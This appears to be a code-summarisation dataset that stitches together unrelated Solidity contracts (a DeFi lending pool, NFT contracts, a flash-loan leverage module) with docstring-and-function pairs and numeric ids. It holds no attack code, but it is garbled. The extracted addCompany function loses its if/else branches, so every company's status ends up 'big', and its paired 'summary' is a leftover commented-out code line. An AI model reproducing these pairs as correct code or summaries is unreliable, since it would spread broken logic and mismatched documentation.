getCapitalCompoundRatio(_token); compoundPool[_token].borrowRatePerBlock = ICToken(cToken).borrowRatePerBlock(); // initial value compoundPool[_token].depositRatePerBlock = ICToken(cToken).supplyRatePerBlock(); // initial value borrowRateIndex[_token][blockNumber] = UNIT; depositeRateIndex[_token][blockNumber] = UNIT; // Update the last checkpoint lastCheckpoint[_token] = blockNumber; lastCTokenExchangeRate[cToken] = cTokenExchangeRate; } } else { if(cToken == address(0)) { compoundPool[_token].supported = false; borrowRateIndex[_token][blockNumber] = borrowRateIndexNow(_token); depositeRateIndex[_token][blockNumber] = depositeRateIndexNow(_token); // Update the last checkpoint lastCheckpoint[_token] = blockNumber; } else { compoundPool[_token].supported = true; uint cTokenExchangeRate = ICToken(cToken).exchangeRateCurrent(); // Get the curretn cToken exchange rate in Compound, which is need to calculate DeFiner's rate compoundPool[_token].capitalRatio = getCapitalCompoundRatio(_token); compoundPool[_token].borrowRatePerBlock = ICToken(cToken).borrowRatePerBlock(); compoundPool[_token].depositRatePerBlock = cTokenExchangeRate.mul(UNIT).div(lastCTokenExchangeRate[cToken]) .sub(UNIT).div(blockNumber.sub(lastCheckpoint[_token])); borrowRateIndex[_token][blockNumber] = borrowRateIndexNow(_token); depositeRateIndex[_token][blockNumber] = depositeRateIndexNow(_token); // Update the last checkpoint lastCheckpoint[_token] = blockNumber; lastCTokenExchangeRate[cToken] = cTokenExchangeRate; } } // Update the total loan if(borrowRateIndex[_token][blockNumber] != UNIT) { totalLoans[_token] = totalLoans[_token].mul(borrowRateIndex[_token][blockNumber]) .div(borrowRateIndex[_token][previousCheckpoint]); } emit UpdateIndex(_token, depositeRateIndex[_token][getBlockNumber()], borrowRateIndex[_token][getBlockNumber()]); } /** * Calculate a token deposite rate of current block * @param _token token address * @dev This is an looking forward estimation from last checkpoint and not the exactly rate that the user will pay or earn. */ function depositeRateIndexNow(address _token) public view returns(uint) { uint256 lcp = lastCheckpoint[_token]; // If this is the first checkpoint, set the index be 1. if(lcp == 0) return INT_UNIT; uint256 lastDepositeRateIndex = depositeRateIndex[_token][lcp]; uint256 depositRatePerBlock = getDepositRatePerBlock(_token); // newIndex = oldIndex*(1+r*delta_block). If delta_block = 0, i.e. the last checkpoint is current block, index doesn't change. return lastDepositeRateIndex.mul(getBlockNumber().sub(lcp).mul(depositRatePerBlock).add(INT_UNIT)).div(INT_UNIT); } /** * Calculate a token borrow rate of current block * @param _token token address */ function borrowRateIndexNow(address _token) public view returns(uint) { uint256 lcp = lastCheckpoint[_token]; // If this is the first checkpoint, set the index be 1. if(lcp == 0) return INT_UNIT; uint256 lastBorrowRateIndex = borrowRateIndex[_token][lcp]; uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token); return lastBorrowRateIndex.mul(getBlockNumber().sub(lcp).mul(borrowRatePerBlock).add(INT_UNIT)).div(INT_UNIT); } /** * Get the state of the given token * @param _token token address */ function getTokenState(address _token) public view returns (uint256 deposits, uint256 loans, uint256 reserveBalance, uint256 remainingAssets){ return ( getTotalDepositStore(_token), totalLoans[_token], totalReserve[_token], totalReserve[_token].add(totalCompound[globalConfig.tokenInfoRegistry().getCToken(_token)]) ); } function getPoolAmount(address _token) public view returns(uint) { return totalReserve[_token].add(totalCompound[globalConfig.tokenInfoRegistry().getCToken(_token)]); } function deposit(address _to, address _token, uint256 _amount) external onlyAuthorized { require(_amount != 0, "Amount is zero"); // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateDepositFINIndex(_token); // Update tokenInfo. Add the _amount to principal, and update the last deposit block in tokenInfo globalConfig.accounts().deposit(_to, _token, _amount); // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, _amount, ActionType.DepositAction); if(compoundAmount > 0) { globalConfig.savingAccount().toCompound(_token, compoundAmount); } } function borrow(address _from, address _token, uint256 _amount) external onlyAuthorized { // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateBorrowFINIndex(_token); // Update tokenInfo for the user globalConfig.accounts().borrow(_from, _token, _amount); // Update pool balance // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, _amount, ActionType.BorrowAction); if(compoundAmount > 0) { globalConfig.savingAccount().fromCompound(_token, compoundAmount); } } function repay(address _to, address _token, uint256 _amount) external onlyAuthorized returns(uint) { // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateBorrowFINIndex(_token); // Sanity check require(globalConfig.accounts().getBorrowPrincipal(_to, _token) > 0, "Token BorrowPrincipal must be greater than 0. To deposit balance, please use deposit button." ); // Update tokenInfo uint256 remain = globalConfig.accounts().repay(_to, _token, _amount); // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, _amount.sub(remain), ActionType.RepayAction); if(compoundAmount > 0) { globalConfig.savingAccount().toCompound(_token, compoundAmount); } // Return actual amount repaid return _amount.sub(remain); } /** * Withdraw a token from an address * @param _from address to be withdrawn from * @param _token token address * @param _amount amount to be withdrawn * @return The actually amount withdrawed, which will be the amount requested minus the commission fee. */ function withdraw(address _from, address _token, uint256 _amount) external onlyAuthorized returns(uint) { require(_amount != 0, "Amount is zero"); // Add a new checkpoint on the index curve. newRateIndexCheckpoint(_token); updateDepositFINIndex(_token); // Withdraw from the account uint amount = globalConfig.accounts().withdraw(_from, _token, _amount); // Update pool balance // Update the amount of tokens in compound and loans, i.e. derive the new values // of C (Compound Ratio) and U (Utilization Ratio). uint compoundAmount = update(_token, amount, ActionType.WithdrawAction); // Check if there are enough tokens in the pool. if(compoundAmount > 0) { globalConfig.savingAccount().fromCompound(_token, compoundAmount); } return amount; } /** * Get current block number * @return the current block number */ function getBlockNumber() private view returns (uint) { return block.number; } function version() public pure returns(string memory) { return "v1.2.0"; } }
Check if the user has collateral flag set _account address of the user _index index of the token return true if the user has collateral flag set for the given index/
function isUserHasCollateral(address _account, uint8 _index) public view returns(bool) { Account storage account = accounts[_account]; return account.collateralBitmap.isBitSet(_index); }
5,774,181
./partial_match/1/0x30eBFB77e1383a15343dEa84376F4caC4e688f2e/sources/MutantPixelHounds.sol
See {IERC721-safeTransferFrom}./
function safeTransferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { safeTransferFrom(from, to, tokenId, ''); }
15,939,022
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; // use Mapping and Internal func visibility contract SecondContractMappingUse { struct Company { string name; uint age; uint workers; string status; } mapping(address => Company) private companies; function addCompany (string memory name, uint age, uint workers, string memory status) public { //address sender = msg.sender; Company memory newCompany; //newCompany.id = companies.length + 1; newCompany.name = name; newCompany.age = age; newCompany.workers = workers; if(workers <= 10) { newCompany.status = "small"; } else if (workers > 10 && workers <= 30) { newCompany.status = "medium"; } else { newCompany.status = "big"; } //companies[sender] = newCompany; insertCompany(newCompany); } function insertCompany (Company memory newCompany) private { address sender = msg.sender; companies[sender] = newCompany; } function getCompany () public view returns (string memory name, uint age, uint workers, string memory status) { address sender = msg.sender; return (companies[sender].name, companies[sender].age, companies[sender].workers, companies[sender].status); } }
address sender = msg.sender;newCompany.id = companies.length + 1;
function addCompany (string memory name, uint age, uint workers, string memory status) public { Company memory newCompany; newCompany.name = name; newCompany.age = age; newCompany.workers = workers; if(workers <= 10) { newCompany.status = "small"; newCompany.status = "medium"; newCompany.status = "big"; } }
13,046,416
// contracts/CollectionItem.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Eterneum is Ownable { /** * @dev Contract Properties */ string private _name; // Token name string private _symbol; // Token symbol uint private _price; // Token Payable price uint256[] private _allTokens; // Array with all token ids, used for enumeration mapping (uint256 => address) private _owners; // Mapping from token ID to owner address mapping (uint256 => string) private _tokenCIDs; // Mapping from token ID to CID /** * @dev Initializes the contract properties by setting a `name`, a `symbol` and a price to the token collection. */ constructor (string memory name_, string memory symbol_, uint price_) { _name = name_; _symbol = symbol_; _price = price_; } /** * @dev Return contract properties */ function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function price() public view virtual returns (uint) { return _price; } /* * @dev Change price */ function changePrice(uint price_) public onlyOwner { _price = price_; } /** * @dev Initialize event and method for payable contract */ event Received(address, uint); receive() external payable { emit Received(msg.sender, msg.value); } /** * @dev Tranfert amount from the contract */ function withdraw(uint amount) public onlyOwner() { address payable owner_pay = payable(owner()); owner_pay.transfer(amount); } /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) public view virtual returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "Owner query for nonexistent token"); return owner; } /** * @dev Returns whether `tokenId` exists. * * Tokens start existing when they are minted (`mint`), */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev mint the tokenID */ function mint(address to, uint256 tokenId, string memory tokenCid) external payable { require(to != address(0), "Mint to the zero address"); require(!_exists(tokenId), "Token already minted"); require(bytes(tokenCid).length > 0, "CID is empty"); /* if not owner of contract, pay the price */ if (owner() != _msgSender()) { require(msg.value == _price, "Value sent not match contract Price"); address payable owner_pay = payable(owner()); owner_pay.transfer(msg.value); } _owners[tokenId] = to; _tokenCIDs[tokenId] = tokenCid; _allTokens.push(tokenId); emit Transfer(address(0), to, tokenId); } /** * @dev change the tokenCid - only contract Owner */ function cid(uint256 tokenId, string memory tokenCid) public onlyOwner { require(_exists(tokenId), "Token not already minted"); require(bytes(tokenCid).length > 0, "CID is empty"); _tokenCIDs[tokenId] = tokenCid; } /** * @dev Total number of tokens. */ function totalSupply() public view virtual returns (uint256) { return _allTokens.length; } /** * @dev Return the tokenID associated with the index. */ function tokenByIndex(uint256 index) public view virtual returns (uint256) { require(index < totalSupply(), "Global index out of bounds"); return _allTokens[index]; } /** * @dev Return the CID associated with the tokenID. */ function tokenCID(uint256 tokenId) public view virtual returns (string memory) { require(_exists(tokenId), "CID query for nonexistent token"); return _tokenCIDs[tokenId]; } }
Return the CID associated with the tokenID./
function tokenCID(uint256 tokenId) public view virtual returns (string memory) { require(_exists(tokenId), "CID query for nonexistent token"); return _tokenCIDs[tokenId]; }
10,094,455
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OpCommon.sol"; import {ProtocolAaveV2Interface} from "../protocol/interface/IProtocolAaveV2.sol"; import {ProtocolERC20Interface} from "../protocol/interface/IProtocolERC20.sol"; import {OperationCenterInterface} from "../interfaces/IOperationCenter.sol"; import {AccountCenterInterface} from "../interfaces/IAccountCenter.sol"; import {EventCenterLeveragePositionInterface} from "../interfaces/IEventCenterLeveragePosition.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; interface ProtocolCenterInterface { function getProtocol(string memory protocolName) external view returns (address protocol); } interface ConnectorAaveV2Interface { function deposit( address token, uint256 amt, uint256 getId, uint256 setId ) external payable; } interface ConnectorCenterInterface { function getConnector(string calldata connectorNames) external view returns (bool, address); } interface EventCenterInterface { function emitAddMarginEvent( address collateralToken, uint256 amountCollateralToken ) external; } struct Token { address token; string symbol; } interface TokenCenterInterface { function listLongToken() external view returns (Token[] memory tokenList); function isLongable(address token) external view returns (bool longable); } interface IERC3156FlashLender { function maxFlashLoan(address token) external view returns (uint256); function flashFee(address token, uint256 amount) external view returns (uint256); function flashLoan( address receiver, address token, uint256 amount, bytes calldata _spells ) external returns (bool); } contract OpLong is OpCommon { using SafeERC20 for IERC20; address internal constant ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public immutable lender; address public immutable opCenterAddress; uint256 public flashBalance; address public flashInitiator; address public flashToken; uint256 public flashAmount; uint256 public flashFee; AaveLendingPoolProviderInterface internal constant aaveProvider = AaveLendingPoolProviderInterface( 0x88757f2f99175387aB4C6a4b3067c77A695b0349 ); constructor(address _opCenterAddress, address _lender) { lender = _lender; opCenterAddress = _opCenterAddress; } function openLong( address leverageToken, address targetToken, uint256 amountLeverageToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) public payable onlyAuth { bool _isLongable = TokenCenterInterface( OperationCenterInterface(opCenterAddress).tokenCenterAddress() ).isLongable(targetToken); require( _isLongable, "CHFY: target token not support to do longleverage" ); require( rateMode == 1 || rateMode == 2, "CHFRY: rateMode should be 1 or 2" ); (bool success, ) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("ERC20").delegatecall( abi.encodeWithSignature( "push(address,uint256)", leverageToken, amountLeverageToken ) ); require(success == true, "CHFRY: push coin fail"); uint8 operation; bytes memory arguments; bytes memory data; operation = 1; arguments = abi.encode( leverageToken, targetToken, amountLeverageToken, amountFlashLoan, unitAmt, rateMode ); data = abi.encode(operation, arguments); _flash(leverageToken, amountFlashLoan, data); } function closeLong( address leverageToken, address targetToken, uint256 amountTargetToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) public payable onlyAuth{ require( rateMode == 1 || rateMode == 2, "CHFRY: rateMode should be 1 or 2" ); bool isLastPosition = true; bool success; bytes memory _data; Token[] memory tokenList = TokenCenterInterface( OperationCenterInterface(opCenterAddress).tokenCenterAddress() ).listLongToken(); for (uint256 i = 0; i < tokenList.length; i++) { if ( tokenList[i].token != targetToken && tokenList[i].token != address(0) ) { (success, _data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "getCollateralBalance(address)", tokenList[i].token ) ); require( success == true, "CHFRY: call AAVEV2 protocol getCollateralBalance fail 2" ); if (abi.decode(_data, (uint256)) != 0) { isLastPosition = false; break; } } } (success, _data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "getPaybackBalance(address,uint256)", leverageToken, 2 ) ); require( success == true, "CHFRY: call AAVEV2 protocol getPaybackBalance fail" ); uint256 amountLeverageTokenBorrow = abi.decode(_data, (uint256)); if ( isLastPosition == true || (amountFlashLoan > amountLeverageTokenBorrow) ) { amountFlashLoan = amountLeverageTokenBorrow; } uint8 operation; bytes memory arguments; bytes memory data; operation = 2; arguments = abi.encode( leverageToken, targetToken, amountTargetToken, amountFlashLoan, isLastPosition, unitAmt, rateMode ); data = abi.encode(operation, arguments); _flash(leverageToken, amountFlashLoan, data); } function cleanLong( address leverageToken, address targetToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) public payable onlyAuth { (bool success, bytes memory _data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "getCollateralBalance(address)", targetToken ) ); require( success == true, "CHFRY: call AAVEV2 protocol getCollateralBalance fail 1" ); uint256 amountTargetToken = abi.decode(_data, (uint256)); closeLong( leverageToken, targetToken, amountTargetToken, amountFlashLoan, unitAmt, rateMode ); } function repay(address paybackToken) external payable onlyAuth { bool success; bytes memory data; (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "getPaybackBalance(address,uint256)", paybackToken, 2 ) ); require( success == true, "CHFRY: call AAVEV2 protocol getPaybackBalance fail" ); uint256 amountPaybackToken = abi.decode(data, (uint256)); if (amountPaybackToken > 0) { (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("ERC20").delegatecall( abi.encodeWithSignature( "push(address,uint256)", paybackToken, amountPaybackToken ) ); require(success == true, "CHFRY: push token fail"); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "paybackToken(address,uint256,uint256)", paybackToken, amountPaybackToken, 2 ) ); require(success == true, "CHFRY: call AAVEV2 paybackToken fail"); EventCenterLeveragePositionInterface( OperationCenterInterface(opCenterAddress).eventCenterAddress() ).emitRepayEvent(paybackToken, amountPaybackToken); } } function withdraw(address collateralToken) external payable onlyAuth{ bool success; bytes memory data; (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "getCollateralBalance(address)", collateralToken ) ); require( success == true, "CHFRY: call AAVEV2 protocol getCollateralBalance of leverageToken fail " ); if (abi.decode(data, (uint256)) > 0) { (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "withdrawToken(address,uint256)", collateralToken, type(uint256).max ) ); require(success == true, "CHFRY: call AAVEV2 withdrawToken fail 2"); uint256 amountWithDraw = abi.decode(data, (uint256)); address EOA = AccountCenterInterface(accountCenter).getEOA( address(this) ); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("ERC20").delegatecall( abi.encodeWithSignature( "pull(address,uint256,address)", collateralToken, amountWithDraw, EOA ) ); require(success == true, "CHFRY: pull back coin fail"); EventCenterLeveragePositionInterface( OperationCenterInterface(opCenterAddress).eventCenterAddress() ).emitWithDrawEvent(collateralToken, amountWithDraw); } } function addMargin(address collateralToken, uint256 amountCollateralToken) external payable onlyAuth { (bool success, bytes memory data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("ERC20").delegatecall( abi.encodeWithSignature( "push(address,uint256)", collateralToken, amountCollateralToken ) ); require(success == true, "CHFRY: push token fail"); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "depositToken(address,uint256)", collateralToken, amountCollateralToken ) ); require( success == true, "CHFRY: call AAVEV2 protocol depositToken fail" ); EventCenterInterface( OperationCenterInterface(opCenterAddress).eventCenterAddress() ).emitAddMarginEvent(collateralToken, amountCollateralToken); } function _flash( address token, uint256 amount, bytes memory data ) internal { uint256 allowance = IERC20(token).allowance( address(this), address(lender) ); uint256 fee = IERC3156FlashLender(lender).flashFee(token, amount); (bool notOverflow, uint256 repayment) = SafeMath.tryAdd(amount, fee); require(notOverflow == true, "CHFRY: overflow"); (notOverflow, allowance) = SafeMath.tryAdd(allowance, repayment); require(notOverflow == true, "CHFRY: overflow"); IERC20(token).approve(address(lender), allowance); IERC3156FlashLender(lender).flashLoan( address(this), token, amount, data ); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external payable returns (bytes32) { require(msg.sender == address(lender), "onFlashLoan: Untrusted lender"); require( initiator == address(this), "onFlashLoan: Untrusted loan initiator" ); uint8 operation; bytes memory arguments; flashInitiator = initiator; flashToken = token; flashAmount = amount; flashFee = fee; (operation, arguments) = abi.decode(data, (uint8, bytes)); if (operation == uint8(1)) { handleOpenLong(arguments); } else if (operation == uint8(2)) { handleCloseLong(arguments); } EventCenterLeveragePositionInterface( OperationCenterInterface(opCenterAddress).eventCenterAddress() ).emitUseFlashLoanForLeverageEvent(token, amount); return keccak256("ERC3156FlashBorrower.onFlashLoan"); } function handleOpenLong(bytes memory arguments) internal { bool notOverflow; uint256 _temp; uint256 pay; bool success; bytes memory data; ( address leverageToken, address targetToken, uint256 amountLeverageToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) = abi.decode( arguments, (address, address, uint256, uint256, uint256, uint256) ); (notOverflow, pay) = SafeMath.tryAdd( amountLeverageToken, amountFlashLoan ); require(notOverflow == true, "CHFRY: overflow 1"); uint256 flashLoanFee = IERC3156FlashLender(lender).flashFee( leverageToken, amountFlashLoan ); (notOverflow, _temp) = SafeMath.trySub(pay, flashLoanFee); require(notOverflow == true, "CHFRY: overflow 2"); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("UniswapV2").delegatecall( abi.encodeWithSignature( "sellToken(address,address,uint256,uint256)", targetToken, leverageToken, _temp, unitAmt ) ); require(success == true, "CHFRY: call UniswapV2 sellToken fail"); uint256 buyAmount = abi.decode(data, (uint256)); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "depositToken(address,uint256)", targetToken, buyAmount ) ); require(success == true, "CHFRY: call AAVEV2 depositToken fail"); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "borrowToken(address,uint256,uint256)", leverageToken, amountFlashLoan, rateMode ) ); require(success == true, "CHFRY: call AAVEV2 borrowToken fail"); EventCenterLeveragePositionInterface( OperationCenterInterface(opCenterAddress).eventCenterAddress() ).emitOpenLongLeverageEvent( leverageToken, targetToken, pay, buyAmount, amountLeverageToken, amountFlashLoan, unitAmt, rateMode ); } function handleCloseLong(bytes memory arguments) internal { uint256 _temp; uint256 gain; bool notOverflow; bool success; bytes memory data; ( address leverageToken, address targetToken, uint256 amountTargetToken, uint256 amountFlashLoan, bool isLastPosition, uint256 unitAmt, uint256 rateMode ) = abi.decode( arguments, (address, address, uint256, uint256, bool, uint256, uint256) ); uint256 flashLoanFee = IERC3156FlashLender(lender).flashFee( leverageToken, amountFlashLoan ); if (amountFlashLoan > 0) { (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "paybackToken(address,uint256,uint256)", leverageToken, amountFlashLoan, rateMode ) ); require(success == true, "CHFRY: call AAVEV2 paybackToken fail"); } (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "withdrawToken(address,uint256)", targetToken, amountTargetToken ) ); require(success == true, "CHFRY: call AAVEV2 withdrawToken fail 1"); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress).protocolCenterAddress() ).getProtocol("UniswapV2").delegatecall( abi.encodeWithSignature( "sellToken(address,address,uint256,uint256)", leverageToken, targetToken, amountTargetToken, unitAmt ) ); require(success == true, "CHFRY: call UniswapV2 protocol fail"); gain = abi.decode(data, (uint256)); (notOverflow, gain) = SafeMath.trySub(gain, flashLoanFee); require(notOverflow == true, "CHFRY: gain not cover flashLoanFee"); if (isLastPosition == true) { (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "getCollateralBalance(address)", leverageToken ) ); require( success == true, "CHFRY: call AAVEV2 protocol getCollateralBalance of leverageToken fail " ); if (abi.decode(data, (uint256)) > 0) { (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("AAVEV2").delegatecall( abi.encodeWithSignature( "withdrawToken(address,uint256)", leverageToken, type(uint256).max ) ); require( success == true, "CHFRY: call AAVEV2 withdrawToken fail 2" ); uint256 amountWithDraw = abi.decode(data, (uint256)); EventCenterLeveragePositionInterface( OperationCenterInterface(opCenterAddress) .eventCenterAddress() ).emitRemoveMarginEvent(leverageToken, amountWithDraw); (notOverflow, _temp) = SafeMath.tryAdd(gain, amountWithDraw); require(notOverflow == true, "CHFRY: overflow"); (notOverflow, _temp) = SafeMath.trySub(_temp, amountFlashLoan); require(notOverflow == true, "CHFRY: gain not cover flashloan"); } else { (notOverflow, _temp) = SafeMath.trySub(gain, amountFlashLoan); require(notOverflow == true, "CHFRY: gain not cover flashloan"); } } else { (notOverflow, _temp) = SafeMath.trySub(gain, amountFlashLoan); require(notOverflow == true, "CHFRY: gain not cover flashloan"); } if (_temp > uint256(0)) { address EOA = AccountCenterInterface(accountCenter).getEOA( address(this) ); (success, data) = ProtocolCenterInterface( OperationCenterInterface(opCenterAddress) .protocolCenterAddress() ).getProtocol("ERC20").delegatecall( abi.encodeWithSignature( "pull(address,uint256,address)", leverageToken, _temp, EOA ) ); require(success == true, "CHFRY: pull back coin fail"); } EventCenterLeveragePositionInterface( OperationCenterInterface(opCenterAddress).eventCenterAddress() ).emitCloseLongLeverageEvent( leverageToken, targetToken, gain, amountTargetToken, amountFlashLoan, amountFlashLoan, unitAmt, rateMode ); } function getUserAccountData() internal view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ) { AaveInterface aave = AaveInterface(aaveProvider.getLendingPool()); ( totalCollateralETH, totalDebtETH, availableBorrowsETH, currentLiquidationThreshold, ltv, healthFactor ) = aave.getUserAccountData(address(this)); } } interface AaveLendingPoolProviderInterface { function getLendingPool() external view returns (address); function getPriceOracle() external view returns (address); } interface AaveInterface { function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function setUserUseReserveAsCollateral( address _asset, bool _useAsCollateral ) external; function swapBorrowRateMode(address _asset, uint256 _rateMode) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract OpCommon { // auth is shared storage with AccountProxy and any OpCode. mapping(address => bool) internal _auth; address internal accountCenter; receive() external payable {} modifier onlyAuth() { require(_auth[msg.sender], "CHFRY: Permission Denied"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ProtocolAaveV2Interface { function depositToken(address token, uint256 amt) external payable returns (uint256 _amt); function withdrawToken(address token, uint256 amt) external payable returns (uint256 _amt); function borrowToken( address token, uint256 amt, uint256 rateMode ) external payable returns (uint256 _amt); function paybackToken( address token, uint256 amt, uint256 rateMode ) external payable returns (uint256 _amt); function enableTokenCollateral(address[] calldata tokens) external payable; function swapTokenBorrowRateMode(address token, uint256 rateMode) external payable; function getPaybackBalance(address token, uint256 rateMode) external view returns (uint256); function getCollateralBalance(address token) external view returns (uint256 bal); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ProtocolERC20Interface { function push(address token, uint256 amt) external payable returns (uint256 _amt); function pull( address token, uint256 amt, address to ) external payable returns (uint256 _amt); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface OperationCenterInterface { function eventCenterAddress() external view returns (address); function connectorCenterAddress() external view returns (address); function tokenCenterAddress() external view returns (address); function protocolCenterAddress() external view returns (address); function getOpCodeAddress(bytes4 _sig) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AccountCenterInterface { function accountCount() external view returns (uint256); function accountTypeCount() external view returns (uint256); function createAccount(uint256 accountTypeID) external returns (address _account); function getAccount(uint256 accountTypeID) external view returns (address _account); function getEOA(address account) external view returns (address payable _eoa); function isSmartAccount(address _address) external view returns (bool _isAccount); function isSmartAccountofTypeN(address _address, uint256 accountTypeID) external view returns (bool _isAccount); function getAccountCountOfTypeN(uint256 accountTypeID) external view returns (uint256 count); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface EventCenterLeveragePositionInterface { // function emitCreateAccountEvent(address EOA, address account) external; function epochRound() external view returns (uint256); function emitUseFlashLoanForLeverageEvent(address token, uint256 amount) external; function emitOpenLongLeverageEvent( address leverageToken, address targetToken, uint256 pay, uint256 amountTargetToken, uint256 amountLeverageToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) external; function emitCloseLongLeverageEvent( address leverageToken, address targetToken, uint256 gain, uint256 amountTargetToken, uint256 amountFlashLoan, uint256 amountRepay, uint256 unitAmt, uint256 rateMode ) external; function emitOpenShortLeverageEvent( address leverageToken, address targetToken, uint256 pay, uint256 amountTargetToken, uint256 amountLeverageToken, uint256 